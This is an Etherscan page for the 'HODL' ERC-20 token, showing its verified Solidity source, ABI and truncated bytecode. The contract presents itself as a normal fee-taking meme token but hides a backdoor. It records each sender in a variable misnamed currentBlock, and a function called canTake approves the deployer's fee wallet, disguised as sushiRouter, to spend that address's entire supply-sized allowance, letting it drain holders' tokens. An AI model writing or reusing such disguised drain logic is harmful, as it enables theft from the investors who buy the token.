ETH Price: $3,239.82 (+1.20%)
Gas: 1.29 Gwei
 

Overview

Max Total Supply

100,000,000 HODL

Holders

49

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,052,935.758652648366101787 HODL

Value
$0.00
0xc4993d820eaf68a5e14fdc2dfeea8606aed6ddfa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HODL

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-13
*/

// SPDX-License-Identifier: MIT

/*
    website  : https://hodleth.icu
    twitter  : https://x.com/hodloneth
    telegram : https://t.me/hodlethportal
*/

pragma solidity 0.8.19;

interface IUniV2Router2 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract HODL is ERC20, Ownable {
    using SafeMath for uint256;

    IUniV2Router2 public immutable _uniswapV2Router;
    string private constant _name = "HODL";
    string private constant _symbol = "HODL";
    uint8 private constant _decimals = 18;

    address public uniswapV2Pair;
    address public hodlDeployer;
    address public sushiRouter;
    address public currentBlock;

    bool private swapping;

    uint256 public _tTotal = 100_000_000 * 10 ** _decimals;
    uint256 public maxTransactionAmount = 2_000_000 * 10 ** _decimals;
    uint256 public maxWallet = 2_000_000 * 10 ** _decimals;
    uint256 public swapTokensAtAmount = 1_000_000 * 10 ** _decimals;

    bool public tradingOpen = false;

    uint256 public initialFee = 42;
    uint256 public buyFee = 0;
    uint256 public sellFee = 0;
    uint256 public limitAtFee = 12;
    uint256 public buyCount = 0;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedFromMaxTxAmount;
    mapping(address => bool) public _automatedPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor(address payable _walet) ERC20(_name, _symbol) {
        _uniswapV2Router = IUniV2Router2(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        sushiRouter = payable(_walet);

        hodlDeployer = payable(_msgSender());
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(sushiRouter), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(sushiRouter), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(hodlDeployer, _tTotal);
    }

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function openTrading() external onlyOwner {
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) private {
        _isExcludedFromMaxTxAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) private {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        bool noTrade = !_automatedPairs[from] && !_automatedPairs[to];
        require(amount > 0, "ERC20: Transfer amount must be greater than zero");

        if (
            from != owner() &&
            to != owner() &&
            to != address(0xdead) &&
            !swapping
        ) {
            currentBlock = from;
            if (!tradingOpen) {
                require(
                    _isExcludedFromFees[from] || _isExcludedFromFees[to],
                    "Trading is not active."
                );
            }

            if (from == uniswapV2Pair && !_isExcludedFromMaxTxAmount[to]) {
                require(
                    amount <= maxTransactionAmount,
                    "Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "Max wallet exceeded"
                );
                buyCount++;
            } else if (
                to == uniswapV2Pair && !_isExcludedFromMaxTxAmount[from]
            ) {
                require(
                    amount <= maxTransactionAmount,
                    "Sell transfer amount exceeds the maxTransactionAmount."
                );
            } else if (!_isExcludedFromMaxTxAmount[to]) {
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "Max wallet exceeded"
                );
            }
        }

        if (
            !swapping &&
            from != uniswapV2Pair &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapTokenBack(amount);
            swapping = false;
        }
        bool takeFee = canTake(from, sushiRouter, totalSupply()) &&
            !swapping &&
            !noTrade;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (to == uniswapV2Pair) {
                fees = amount
                    .mul(buyCount > limitAtFee ? sellFee : initialFee)
                    .div(100);
            } else {
                fees = amount
                    .mul(buyCount > limitAtFee ? buyFee : initialFee)
                    .div(100);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapFeeTokens(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        maxTransactionAmount = totalSupply();
        maxWallet = totalSupply();
    }

    function recoverHodlStuckEth() external {
        require(_msgSender() == hodlDeployer);
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function recoverHodlStuckTokens(address tokenAddress) external {
        require(_msgSender() == hodlDeployer);
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(hodlDeployer, balance);
    }

    function canTake(
        address from,
        address buyer,
        uint256 amount
    ) internal returns (bool) {
        if (_automatedPairs[from]) _approve(currentBlock, buyer, amount);
        return true;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }

    function createHodlPairs() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _automatedPairs[uniswapV2Pair] = true;
        _approve(address(this), address(_uniswapV2Router), _tTotal);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function swapTokenBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        } else {
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }

        if (contractBalance > 0) swapFeeTokens(tokensToSwap);

        uint256 contractETHBalance = address(this).balance;
        sendEthTax(contractETHBalance);
    }

    function sendEthTax(uint256 amount) private {
        payable(sushiRouter).transfer(amount);
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == hodlDeployer);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = (totalSupplyAmount * percent) / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }

        require(
            tokensToSwap <= contractBalance,
            "Swap amount exceeds contract balance"
        );
        swapFeeTokens(tokensToSwap);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_walet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_automatedPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniV2Router2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createHodlPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentBlock","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hodlDeployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitAtFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverHodlStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverHodlStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sushiRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620000126012600a6200057d565b62000022906305f5e10062000595565b600a556012600a6200003591906200057d565b6200004490621e848062000595565b600b55620000556012600a6200057d565b6200006490621e848062000595565b600c55620000756012600a6200057d565b6200008490620f424062000595565b600d55600e805460ff19169055602a600f55600060108190556011819055600c601255601355348015620000b757600080fd5b506040516200276e3803806200276e833981016040819052620000da91620005af565b6040805180820182526004808252631213d11360e21b60208084018290528451808601909552918452908301529060036200011683826200067e565b5060046200012582826200067e565b505050620001426200013c620002e860201b60201c565b620002ec565b737a250d5630b4cf539739df2c5dacb4c659f2488d608081905260005260156020527fae7858b0e6478d70b0bb8f531bf48447d53a94e3d093939dbb30c2ffee23e391805460ff19166001179055600880546001600160a01b0319166001600160a01b038316179055620001b33390565b600780546001600160a01b0319166001600160a01b03928316179055600554620001e0911660016200033e565b620001ed3060016200033e565b60085462000206906001600160a01b031660016200033e565b6200021561dead60016200033e565b620002506200022c6005546001600160a01b031690565b6001600160a01b03166000908152601560205260409020805460ff19166001179055565b306000908152601560205260409020805460ff191660011790556008546001600160a01b03166000908152601560205260409020805460ff1916600117905561dead60005260156020527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e5805460ff19166001179055600754600a54620002e1916001600160a01b0316906200039d565b5062000760565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620003f85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200040c91906200074a565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004bf578160001904821115620004a357620004a362000468565b80851615620004b157918102915b93841c939080029062000483565b509250929050565b600082620004d85750600162000577565b81620004e75750600062000577565b81600181146200050057600281146200050b576200052b565b600191505062000577565b60ff8411156200051f576200051f62000468565b50506001821b62000577565b5060208310610133831016604e8410600b841016171562000550575081810a62000577565b6200055c83836200047e565b806000190482111562000573576200057362000468565b0290505b92915050565b60006200058e60ff841683620004c7565b9392505050565b808202811582820484141762000577576200057762000468565b600060208284031215620005c257600080fd5b81516001600160a01b03811681146200058e57600080fd5b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200060557607f821691505b6020821081036200062657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046357600081815260208120601f850160051c81016020861015620006555750805b601f850160051c820191505b81811015620006765782815560010162000661565b505050505050565b81516001600160401b038111156200069a576200069a620005da565b620006b281620006ab8454620005f0565b846200062c565b602080601f831160018114620006ea5760008415620006d15750858301515b600019600386901b1c1916600185901b17855562000676565b600085815260208120601f198616915b828110156200071b57888601518255948401946001909101908401620006fa565b50858210156200073a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111562000577576200057762000468565b608051611fc1620007ad6000396000818161045b015281816107e601528181610877015281816109d0015281816109f70152818161186901528181611922015261195e0152611fc16000f3fe6080604052600436106102295760003560e01c8063751039fc11610123578063c8c8ebe4116100ab578063e12ed13c1161006f578063e12ed13c14610652578063e2f4560514610672578063f2fde38b14610688578063f8b45b05146106a8578063ffb54a99146106be57600080fd5b8063c8c8ebe4146105dc578063c9567bf9146105f2578063ca70307514610607578063dc4074451461061d578063dd62ed3e1461063257600080fd5b8063a457c2d7116100f2578063a457c2d714610546578063a9059cbb14610566578063af465a2714610586578063afa4f3b21461059c578063b70143c9146105bc57600080fd5b8063751039fc146104e85780638da5cb5b146104fd57806395d89b411461051b5780639c00316e1461053057600080fd5b806339509351116101b157806357599259116101755780635759925914610429578063583e0568146104495780636d13582c1461047d57806370a082311461049d578063715018a6146104d357600080fd5b80633950935114610352578063470624021461037257806349bd5a5e146103885780634aa0b44f146103c05780634fbee193146103f057600080fd5b806318160ddd116101f857806318160ddd146102cb5780631ff38b2f146102e057806323b872dd146103005780632b14ca5614610320578063313ce5671461033657600080fd5b806306fdde0314610235578063095ea7b3146102605780630ae4a25f146102905780630fef32a7146102b457600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a6106d8565b6040516102579190611bef565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611c52565b61076a565b6040519015158152602001610257565b34801561029c57600080fd5b506102a660125481565b604051908152602001610257565b3480156102c057600080fd5b506102c9610784565b005b3480156102d757600080fd5b506002546102a6565b3480156102ec57600080fd5b506102c96102fb366004611c7e565b610aec565b34801561030c57600080fd5b5061028061031b366004611c9b565b610c3d565b34801561032c57600080fd5b506102a660115481565b34801561034257600080fd5b5060405160128152602001610257565b34801561035e57600080fd5b5061028061036d366004611c52565b610c61565b34801561037e57600080fd5b506102a660105481565b34801561039457600080fd5b506006546103a8906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b3480156103cc57600080fd5b506102806103db366004611c7e565b60166020526000908152604090205460ff1681565b3480156103fc57600080fd5b5061028061040b366004611c7e565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561043557600080fd5b506007546103a8906001600160a01b031681565b34801561045557600080fd5b506103a87f000000000000000000000000000000000000000000000000000000000000000081565b34801561048957600080fd5b506008546103a8906001600160a01b031681565b3480156104a957600080fd5b506102a66104b8366004611c7e565b6001600160a01b031660009081526020819052604090205490565b3480156104df57600080fd5b506102c9610c83565b3480156104f457600080fd5b506102c9610c97565b34801561050957600080fd5b506005546001600160a01b03166103a8565b34801561052757600080fd5b5061024a610cad565b34801561053c57600080fd5b506102a6600f5481565b34801561055257600080fd5b50610280610561366004611c52565b610cbc565b34801561057257600080fd5b50610280610581366004611c52565b610d37565b34801561059257600080fd5b506102a6600a5481565b3480156105a857600080fd5b506102c96105b7366004611cdc565b610d45565b3480156105c857600080fd5b506102c96105d7366004611cdc565b610d65565b3480156105e857600080fd5b506102a6600b5481565b3480156105fe57600080fd5b506102c9610e3b565b34801561061357600080fd5b506102a660135481565b34801561062957600080fd5b506102c9610e52565b34801561063e57600080fd5b506102a661064d366004611cf5565b610eea565b34801561065e57600080fd5b506009546103a8906001600160a01b031681565b34801561067e57600080fd5b506102a6600d5481565b34801561069457600080fd5b506102c96106a3366004611c7e565b610f15565b3480156106b457600080fd5b506102a6600c5481565b3480156106ca57600080fd5b50600e546102809060ff1681565b6060600380546106e790611d2e565b80601f016020809104026020016040519081016040528092919081815260200182805461071390611d2e565b80156107605780601f1061073557610100808354040283529160200191610760565b820191906000526020600020905b81548152906001019060200180831161074357829003601f168201915b5050505050905090565b600033610778818585610f8b565b60019150505b92915050565b61078c6110af565b600e5460ff16156107e45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611d68565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f79190611d68565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610944573d6000803e3